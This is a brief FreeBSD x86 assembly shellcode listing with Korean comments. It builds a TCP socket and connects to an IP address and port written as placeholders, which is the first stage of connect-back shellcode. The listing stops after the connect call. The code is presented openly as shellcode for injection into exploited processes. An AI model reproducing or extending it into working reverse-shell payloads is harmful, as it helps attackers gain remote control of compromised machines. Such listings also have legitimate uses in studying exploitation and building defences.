[shellcode] FreeBSD x86 Socket/Connect

.globl main
main:

# 초기화
        xor     %eax, %eax
        xor     %ebx, %ebx
        xor     %ecx, %ecx
        xor     %edx, %edx

# socket (PF_INET, SOCK_STREAM, 0) <== socket(2, 1, 0) 과 같음
        push    %edx
        inc     %edx
        push    %edx
        inc     %edx
        push    %edx

        mov     $0x61, %al
        push    %eax
        int     $0x80


# socketaddr_in
# IP 주소 Little Endian
        push    $0xXXXXXXXX
# Port Little Endian
        pushw   $0xXXXX
        pushw   $0x02AA
        mov     %esp, %ebx

# connect
# connect(3,{ AF_INET XXX.XXX.XXX.XXX:XX },16)
        mov     $0x10, %cl
        push    %ecx
        push    %ebx
        push    %eax
        mov     $0x62, %al
        push    %eax
        int     $0x80